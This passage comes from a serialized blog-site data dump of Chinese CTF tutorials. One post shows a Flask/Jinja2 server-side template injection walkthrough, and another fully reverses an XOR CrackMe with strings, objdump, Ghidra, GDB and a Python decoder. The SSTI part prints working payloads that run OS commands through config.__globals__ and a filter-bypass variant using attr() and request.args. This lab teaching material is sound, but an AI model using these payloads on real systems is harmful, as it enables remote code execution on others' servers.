CTF 实战：Flask 模板题",[15,7322,2164,7323,7326,7327,643],{},[52,7324,7325],{},"http://target/?name="," 存在 SSTI，flag 在 ",[52,7328,7329],{},"/flag",[309,7331,7333],{"id":7332},"第一步探测","第一步：探测",[15,7335,7336,7338],{},[316,7337,318],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[97,7340,7342],{"className":259,"code":7341,"language":261,"meta":102,"style":102},"curl \"http://target/?name={{7*7}}\"\n",[52,7343,7344],{"__ignoreMap":102},[106,7345,7346,7348,7350,7352],{"class":108,"line":109},[106,7347,5260],{"class":268},[106,7349,5263],{"class":1458},[106,7351,7155],{"class":272},[106,7353,5269],{"class":1458},[15,7355,7356,7357,7359],{},"响应含 ",[52,7358,6707],{}," → 确认。",[309,7361,7363],{"id":7362},"第二步直接打","第二步：直接打",[15,7365,7366,7368,7369,7372,7373,7375,7376,7378],{},[316,7367,385],{},"：先 ",[52,7370,7371],{},"config.__globals__"," 链试 ",[52,7374,6821],{},"；如果响应没出现 flag 内容，先改用 ",[52,7377,5235],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[97,7380,7382],{"className":99,"code":7381,"language":101,"meta":102,"style":102},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[52,7383,7384,7388,7392,7396,7400,7404],{"__ignoreMap":102},[106,7385,7386],{"class":108,"line":109},[106,7387,6986],{},[106,7389,7390],{"class":108,"line":115},[106,7391,125],{"emptyLinePlaceholder":124},[106,7393,7394],{"class":108,"line":121},[106,7395,7209],{},[106,7397,7398],{"class":108,"line":128},[106,7399,7214],{},[106,7401,7402],{"class":108,"line":134},[106,7403,7219],{},[106,7405,7406],{"class":108,"line":140},[106,7407,7234],{},[15,7409,7410],{},"预期输出中出现：",[97,7412,7415],{"className":7413,"code":7414,"language":215,"meta":102},[213],"flag{ssti_rce}\n",[52,7416,7414],{"__ignoreMap":102},[309,7418,7420],{"id":7419},"第三步被过滤时","第三步：被过滤时",[15,7422,7423,7425,7426,7428],{},[316,7424,385],{},"：把点号换成 ",[52,7427,7093],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7430,7431],{},"改用 attr 与 request.args 组合：",[97,7433,7436],{"className":7434,"code":7435,"language":215,"meta":102},[213],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[52,7437,7435],{"__ignoreMap":102},[10,7439,1045],{"id":1044},[15,7441,7442,7443,55,7445,7448,7449,2153,7451,7454],{},"SSTI 主线：探测 ",[52,7444,6613],{},[52,7446,7447],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[52,7450,7093],{},[52,7452,7453],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1050,7456,7457],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":102,"searchDepth":115,"depth":115,"links":7459},[7460,7461,7462,7463,7464,7465,7466,7467],{"id":6426,"depth":121,"text":6427},{"id":6505,"depth":121,"text":6506},{"id":6595,"depth":121,"text":6596},{"id":6782,"depth":121,"text":6783},{"id":7072,"depth":121,"text":7073},{"id":829,"depth":121,"text":830},{"id":7319,"depth":121,"text":7320},{"id":1044,"depth":121,"text":1045},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1066,"image":7470,"alt":7471,"tags":7472,"published":124},"/blogs-img/blog6.png","SSTI 深入实战",[1070,6413,7473,1072],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6421,"description":7468},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7479,"title":7480,"body":7481,"description":8421,"extension":1064,"meta":8422,"navigation":124,"ogImage":8423,"path":8426,"seo":8427,"stem":8428,"__hash__":8429},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7482,"toc":8410},[7483,7487,7490,7494,7500,7684,7687,7704,7707,7716,7721,7733,7737,7739,7744,7757,7761,7772,7775,7781,7786,7790,7801,7815,7817,7823,7832,7836,7841,7856,7858,7889,7891,7920,7927,7931,7963,7966,7991,7995,7998,8048,8053,8055,8063,8066,8072,8074,8086,8100,8102,8107,8116,8118,8123,8126,8141,8143,8149,8152,8156,8161,8178,8238,8240,8252,8254,8259,8262,8272,8276,8280,8363,8367,8398,8400,8407],[10,7484,7486],{"id":7485},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7488,7489],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7491,7493],{"id":7492},"二题目源码与编译","二、题目源码与编译",[15,7495,7496,7497,493],{},"出题人视角的 ",[52,7498,7499],{},"crackme.c",[97,7501,7503],{"className":1847,"code":7502,"language":1849,"meta":102,"style":102},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[52,7504,7505,7509,7514,7518,7523,7528,7533,7538,7543,7548,7553,7558,7563,7568,7573,7578,7583,7588,7593,7598,7603,7608,7613,7617,7621,7626,7631,7636,7641,7646,7651,7656,7661,7666,7671,7676,7680],{"__ignoreMap":102},[106,7506,7507],{"class":108,"line":109},[106,7508,2465],{},[106,7510,7511],{"class":108,"line":115},[106,7512,7513],{},"#include \u003Cstring.h>\n",[106,7515,7516],{"class":108,"line":121},[106,7517,125],{"emptyLinePlaceholder":124},[106,7519,7520],{"class":108,"line":128},[106,7521,7522],{},"int check(const char *input) {\n",[106,7524,7525],{"class":108,"line":134},[106,7526,7527],{},"    char key[] = \"k3y\";\n",[106,7529,7530],{"class":108,"line":140},[106,7531,7532],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[106,7534,7535],{"class":108,"line":146},[106,7536,7537],{},"    unsigned char enc[] = {\n",[106,7539,7540],{"class":108,"line":151},[106,7541,7542],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[106,7544,7545],{"class":108,"line":157},[106,7546,7547],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[106,7549,7550],{"class":108,"line":163},[106,7551,7552],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[106,7554,7555],{"class":108,"line":169},[106,7556,7557],{},"    };\n",[106,7559,7560],{"class":108,"line":174},[106,7561,7562],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[106,7564,7565],{"class":108,"line":180},[106,7566,7567],{},"    int n = strlen(input);\n",[106,7569,7570],{"class":108,"line":186},[106,7571,7572],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[106,7574,7575],{"class":108,"line":192},[106,7576,7577],{},"    if (n != 24) return 0;\n",[106,7579,7580],{"class":108,"line":197},[106,7581,7582],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[106,7584,7585],{"class":108,"line":203},[106,7586,7587],{},"    for (int i = 0; i \u003C n; i++)\n",[106,7589,7590],{"class":108,"line":770},[106,7591,7592],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[106,7594,7595],{"class":108,"line":775},[106,7596,7597],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[106,7599,7600],{"class":108,"line":781},[106,7601,7602],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[106,7604,7605],{"class":108,"line":787},[106,7606,7607],{},"    return 1;\n",[106,7609,7610],{"class":108,"line":793},[106,7611,7612],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[106,7614,7615],{"class":108,"line":799},[106,7616,2489],{},[106,7618,7619],{"class":108,"line":805},[106,7620,125],{"emptyLinePlaceholder":124},[106,7622,7623],{"class":108,"line":4548},[106,7624,7625],{},"int main(int argc, char **argv) {\n",[106,7627,7628],{"class":108,"line":4553},[106,7629,7630],{},"    if (argc != 2) {\n",[106,7632,7633],{"class":108,"line":4559},[106,7634,7635],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[106,7637,7638],{"class":108,"line":4565},[106,7639,7640],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[106,7642,7643],{"class":108,"line":4570},[106,7644,7645],{},"        return 1;\n",[106,7647,7648],{"class":108,"line":4576},[106,7649,7650],{},"    }\n",[106,7652,7653],{"class":108,"line":4582},[106,7654,7655],{},"    if (check(argv[1]))\n",[106,7657,7658],{"class":108,"line":4588},[106,7659,7660],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[106,7662,7663],{"class":108,"line":4594},[106,7664,7665],{},"        puts(\"Correct!\");\n",[106,7667,7668],{"class":108,"line":4599},[106,7669,7670],{},"    else\n",[106,7672,7673],{"class":108,"line":4605},[106,7674,7675],{},"        puts(\"Wrong!\");\n",[106,7677,7678],{"class":108,"line":4611},[106,7679,2546],{},[106,7681,7682],{"class":108,"line":4617},[106,7683,2489],{},[15,7685,7686],{},"编译（解题时只有二进制，没有源码）：",[97,7688,7690],{"className":259,"code":7689,"language":261,"meta":102,"style":102},"gcc -o crackme crackme.c\n",[52,7691,7692],{"__ignoreMap":102},[106,7693,7694,7696,7698,7701],{"class":108,"line":109},[106,7695,2563],{"class":268},[106,7697,2566],{"class":515},[106,7699,7700],{"class":272}," crackme",[106,7702,7703],{"class":272}," crackme.c\n",[15,7705,7706],{},"运行确认行为：",[97,7708,7710],{"className":259,"code":7709,"language":261,"meta":102,"style":102},"./crackme\n",[52,7711,7712],{"__ignoreMap":102},[106,7713,7714],{"class":108,"line":109},[106,7715,7709],{"class":268},[15,7717,1345,7718,643],{},[52,7719,7720],{},"Usage: ./crackme \u003Cflag>",[97,7722,7724],{"className":259,"code":7723,"language":261,"meta":102,"style":102},"./crackme wrongflag123456789012\n",[52,7725,7726],{"__ignoreMap":102},[106,7727,7728,7730],{"class":108,"line":109},[106,7729,2350],{"class":268},[106,7731,7732],{"class":272}," wrongflag123456789012\n",[15,7734,1345,7735,643],{},[52,7736,1317],{},[10,7738,1186],{"id":1185},[15,7740,7741,7743],{},[316,7742,318],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7745,7746,493,7748,7750,7751,7753,7754,7756],{},[316,7747,385],{},[52,7749,1257],{}," 能看到 ",[52,7752,1321],{}," 这样的短密钥（需要 ",[52,7755,1325],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[309,7758,7760],{"id":7759},"_31-file","3.1 file",[97,7762,7764],{"className":259,"code":7763,"language":261,"meta":102,"style":102},"file crackme\n",[52,7765,7766],{"__ignoreMap":102},[106,7767,7768,7770],{"class":108,"line":109},[106,7769,1213],{"class":268},[106,7771,2206],{"class":272},[15,7773,7774],{},"预期输出（Linux ELF）：",[97,7776,7779],{"className":7777,"code":7778,"language":215,"meta":102},[213],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[52,7780,7778],{"__ignoreMap":102},[15,7782,7783,7785],{},[52,7784,1231],{},"：函数名可见。",[309,7787,7789],{"id":7788},"_32-strings","3.2 strings",[15,7791,7792,7793,7795,7796,7798,7799,493],{},"注意：",[52,7794,1257],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[52,7797,1321],{}," 只有 3 个字符，必须加 ",[52,7800,1325],{},[97,7802,7803],{"className":259,"code":2193,"language":261,"meta":102,"style":102},[52,7804,7805],{"__ignoreMap":102},[106,7806,7807,7809,7811,7813],{"class":108,"line":109},[106,7808,1257],{"class":268},[106,7810,1289],{"class":515},[106,7812,1292],{"class":515},[106,7814,2206],{"class":272},[15,7816,1219],{},[97,7818,7821],{"className":7819,"code":7820,"language":215,"meta":102},[213],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[52,7822,7820],{"__ignoreMap":102},[15,7824,7825,7827,7828,7831],{},[52,7826,1321],{}," 极可能是密钥。",[52,7829,7830],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,7833,7835],{"id":7834},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,7837,7838,7840],{},[316,7839,318],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,7842,7843,7845,7846,7848,7849,7852,7853,7855],{},[316,7844,385],{},"：main 里 ",[52,7847,1559],{}," 后紧跟 ",[52,7850,7851],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[52,7854,2229],{},"，逆向思路立刻清晰。",[309,7857,1399],{"id":1398},[97,7859,7861],{"className":259,"code":7860,"language":261,"meta":102,"style":102},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[52,7862,7863],{"__ignoreMap":102},[106,7864,7865,7867,7869,7871,7873,7875,7877,7879,7881,7883,7885,7887],{"class":108,"line":109},[106,7866,1411],{"class":268},[106,7868,1414],{"class":515},[106,7870,1417],{"class":515},[106,7872,1420],{"class":272},[106,7874,7700],{"class":272},[106,7876,1446],{"class":1116},[106,7878,1449],{"class":268},[106,7880,1452],{"class":515},[106,7882,1455],{"class":515},[106,7884,1459],{"class":1458},[106,7886,1462],{"class":272},[106,7888,1465],{"class":1458},[15,7890,1468],{},[97,7892,7894],{"className":1471,"code":7893,"language":1473,"meta":102,"style":102},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[52,7895,7896,7900,7904,7908,7912,7916],{"__ignoreMap":102},[106,7897,7898],{"class":108,"line":109},[106,7899,1480],{},[106,7901,7902],{"class":108,"line":115},[106,7903,1495],{},[106,7905,7906],{"class":108,"line":121},[106,7907,1500],{},[106,7909,7910],{"class":108,"line":128},[106,7911,1505],{},[106,7913,7914],{"class":108,"line":134},[106,7915,1510],{},[106,7917,7918],{"class":108,"line":140},[106,7919,1515],{},[15,7921,7922,7924,7925,643],{},[52,7923,1559],{}," 说明判断逻辑在 ",[52,7926,1588],{},[309,7928,7930],{"id":7929},"_42-objdump-看-check","4.2 objdump 看 check",[97,7932,7934],{"className":259,"code":7933,"language":261,"meta":102,"style":102},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[52,7935,7936],{"__ignoreMap":102},[106,7937,7938,7940,7942,7944,7946,7948,7950,7952,7954,7957,7959,7961],{"class":108,"line":109},[106,7939,1411],{"class":268},[106,7941,1414],{"class":515},[106,7943,1417],{"class":515},[106,7945,1420],{"class":272},[106,7947,7700],{"class":272},[106,7949,1446],{"class":1116},[106,7951,1449],{"class":268},[106,7953,1452],{"class":515},[106,7955,7956],{"class":515}," 60",[106,7958,1459],{"class":1458},[106,7960,1644],{"class":272},[106,7962,1465],{"class":1458},[15,7964,7965],{},"预期会看到循环比较：",[97,7967,7969],{"className":1471,"code":7968,"language":1473,"meta":102,"style":102},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[52,7970,7971,7976,7981,7986],{"__ignoreMap":102},[106,7972,7973],{"class":108,"line":109},[106,7974,7975],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[106,7977,7978],{"class":108,"line":115},[106,7979,7980],{},"xor    eax, 0x...                 ; 与 key 异或\n",[106,7982,7983],{"class":108,"line":121},[106,7984,7985],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[106,7987,7988],{"class":108,"line":128},[106,7989,7990],{},"je     0x...\n",[309,7992,7994],{"id":7993},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,7996,7997],{},"安装并打开：",[97,7999,8001],{"className":259,"code":8000,"language":261,"meta":102,"style":102},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[52,8002,8003,8013,8023],{"__ignoreMap":102},[106,8004,8005,8007,8009,8011],{"class":108,"line":109},[106,8006,1158],{"class":268},[106,8008,273],{"class":272},[106,8010,1768],{"class":272},[106,8012,1771],{"class":272},[106,8014,8015,8017,8019,8021],{"class":108,"line":115},[106,8016,1776],{"class":268},[106,8018,1779],{"class":272},[106,8020,1783],{"class":1782},[106,8022,1786],{"class":272},[106,8024,8025,8027,8029,8031,8034,8036,8038,8040,8042,8044,8046],{"class":108,"line":121},[106,8026,1791],{"class":268},[106,8028,1794],{"class":272},[106,8030,1783],{"class":1782},[106,8032,8033],{"class":272},".zip",[106,8035,1814],{"class":1123},[106,8037,1804],{"class":1803},[106,8039,1794],{"class":272},[106,8041,1783],{"class":1782},[106,8043,1811],{"class":272},[106,8045,1814],{"class":1123},[106,8047,1817],{"class":268},[15,8049,8050,8051,643],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[52,8052,1588],{},[15,8054,1844],{},[97,8056,8057],{"className":1847,"code":2239,"language":1849,"meta":102,"style":102},[52,8058,8059],{"__ignoreMap":102},[106,8060,8061],{"class":108,"line":109},[106,8062,2239],{},[15,8064,8065],{},"得到逆运算关系：",[97,8067,8070],{"className":8068,"code":8069,"language":215,"meta":102},[213],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[52,8071,8069],{"__ignoreMap":102},[10,8073,1878],{"id":1877},[97,8075,8077],{"className":259,"code":8076,"language":261,"meta":102,"style":102},"gdb ./crackme\n",[52,8078,8079],{"__ignoreMap":102},[106,8080,8081,8083],{"class":108,"line":109},[106,8082,1905],{"class":268},[106,8084,8085],{"class":272}," ./crackme\n",[97,8087,8089],{"className":1917,"code":8088,"language":1905,"meta":102,"style":102},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[52,8090,8091,8095],{"__ignoreMap":102},[106,8092,8093],{"class":108,"line":109},[106,8094,1918],{},[106,8096,8097],{"class":108,"line":115},[106,8098,8099],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8101,1219],{},[97,8103,8105],{"className":8104,"code":1930,"language":215,"meta":102},[213],[52,8106,1930],{"__ignoreMap":102},[97,8108,8110],{"className":1917,"code":8109,"language":1905,"meta":102,"style":102},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[52,8111,8112],{"__ignoreMap":102},[106,8113,8114],{"class":108,"line":109},[106,8115,8109],{},[15,8117,1219],{},[97,8119,8121],{"className":8120,"code":1951,"language":215,"meta":102},[213],[52,8122,1951],{"__ignoreMap":102},[15,8124,8125],{},"查看 enc 数组（地址在反汇编中确定）：",[97,8127,8129],{"className":1917,"code":8128,"language":1905,"meta":102,"style":102},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[52,8130,8131,8136],{"__ignoreMap":102},[106,8132,8133],{"class":108,"line":109},[106,8134,8135],{},"(gdb) x/24bx 0x5555555551e0\n",[106,8137,8138],{"class":108,"line":115},[106,8139,8140],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8142,1219],{},[97,8144,8147],{"className":8145,"code":8146,"language":215,"meta":102},[213],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[52,8148,8146],{"__ignoreMap":102},[15,8150,8151],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8153,8155],{"id":8154},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8157,8158,8160],{},[316,8159,318],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8162,8163,8165,8166,8169,8170,8173,8174,8177],{},[316,8164,385],{},"：因为 ",[52,8167,8168],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[52,8171,8172],{},"key[i%3]"," 得 ",[52,8175,8176],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[97,8179,8181],{"className":99,"code":8180,"language":101,"meta":102,"style":102},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[52,8182,8183,8187,8191,8195,8200,8204,8209,8214,8219,8224,8229,8233],{"__ignoreMap":102},[106,8184,8185],{"class":108,"line":109},[106,8186,2273],{},[106,8188,8189],{"class":108,"line":115},[106,8190,2278],{},[106,8192,8193],{"class":108,"line":121},[106,8194,2283],{},[106,8196,8197],{"class":108,"line":128},[106,8198,8199],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[106,8201,8202],{"class":108,"line":134},[106,8203,125],{"emptyLinePlaceholder":124},[106,8205,8206],{"class":108,"line":140},[106,8207,8208],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[106,8210,8211],{"class":108,"line":146},[106,8212,8213],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[106,8215,8216],{"class":108,"line":151},[106,8217,8218],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[106,8220,8221],{"class":108,"line":157},[106,8222,8223],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[106,8225,8226],{"class":108,"line":163},[106,8227,8228],{},"# bytes([...])：把整数列表转成字节串。\n",[106,8230,8231],{"class":108,"line":169},[106,8232,2323],{},[106,8234,8235],{"class":108,"line":174},[106,8236,8237],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8239,6238],{},[97,8241,8243],{"className":259,"code":8242,"language":261,"meta":102,"style":102},"python3 solve.py\n",[52,8244,8245],{"__ignoreMap":102},[106,8246,8247,8249],{"class":108,"line":109},[106,8248,3138],{"class":268},[106,8250,8251],{"class":272}," solve.py\n",[15,8253,209],{},[97,8255,8257],{"className":8256,"code":2334,"language":215,"meta":102},[213],[52,8258,2334],{"__ignoreMap":102},[15,8260,8261],{},"验证：",[97,8263,8264],{"className":259,"code":2343,"language":261,"meta":102,"style":102},[52,8265,8266],{"__ignoreMap":102},[106,8267,8268,8270],{"class":108,"line":109},[106,8269,2350],{"class":268},[106,8271,2353],{"class":272},[15,8273,209,8274,643],{},[52,8275,1314],{},[10,8277,8279],{"id":8278},"七必学工具","七、必学工具",[19,8281,8282,8292],{},[22,8283,8284],{},[25,8285,8286,8288,8290],{},[28,8287,2075],{},[28,8289,2078],{},[28,8291,4842],{},[38,8293,8294,8306,8318,8333,8350],{},[25,8295,8296,8298,8301],{},[43,8297,1213],{},[43,8299,8300],{},"看类型/是否 stripped",[43,8302,8303],{},[52,8304,8305],{},"file crackme",[25,8307,8308,8310,8313],{},[43,8309,1257],{},[43,8311,8312],{},"提取字符串、指定最小长度",[43,8314,8315],{},[52,8316,8317],{},"strings -n 3 crackme",[25,8319,8320,8322,8325],{},[43,8321,1411],{},[43,8323,8324],{},"反汇编、看数据段",[43,8326,8327,1311,8330],{},[52,8328,8329],{},"objdump -d -M intel crackme",[52,8331,8332],{},"objdump -s -j .rodata crackme",[25,8334,8335,8337,8340],{},[43,8336,2133],{},[43,8338,8339],{},"断点、运行、查看内存",[43,8341,8342,1311,8344,1311,8347],{},[52,8343,2141],{},[52,8345,8346],{},"run xxx",[52,8348,8349],{},"x/24bx addr",[25,8351,8352,8355,8358],{},[43,8353,8354],{},"Ghidra",[43,8356,8357],{},"反编译伪代码",[43,8359,8360],{},[52,8361,8362],{},"ghidraRun",[10,8364,8366],{"id":8365},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[631,8368,8369,8376,8387,8393],{},[634,8370,8371,8373,8374,643],{},[52,8372,8317],{}," → 找到密钥 ",[52,8375,1321],{},[634,8377,8378,8380,8381,8383,8384,643],{},[52,8379,1411],{},"/Ghidra → 确认 ",[52,8382,1588],{}," 里是 ",[52,8385,8386],{},"input[i] ^ key[i%3] == enc[i]",[634,8388,8389,8390,643],{},"Python 一行异或还原 → ",[52,8391,8392],{},"ctf{reverse_engineering}",[634,8394,8395,8396,643],{},"运行验证 → ",[52,8397,1314],{},[10,8399,6386],{"id":6385},[15,8401,8402,8403,8406],{},"XOR CrackMe 的通用解法：",[316,8404,8405],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1050,8408,8409],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":102,"searchDepth":115,"depth":115,"links":8411},[8412,8413,8414,8415,8416,8417,8418,8419,8420],{"id":7485,"depth":121,"text":7486},{"id":7492,"depth":121,"text":7493},{"id":1185,"depth":121,"text":1186},{"id":7834,"depth":121,"text":7835},{"id":1877,"depth":121,"text":1878},{"id":8154,"depth":121,"text":8155},{"id":8278,"depth":121,"text":8279},{"id":8365,"depth":121,"text":8366},{"id":6385,"depth":121,"text":6386},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1066,"image":8423,"alt":8424,"tags":8425,"published":124},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1070,2389,2167,1072],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7480,"description":8421},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8431,"title":8432,"body":8433,"description":9518,"extension":1064,"meta":9519,"navigation":124,"ogImage":9520,"path":9524,"seo":9525,"stem":9526,"__hash__":9527},"content/blogs/17. 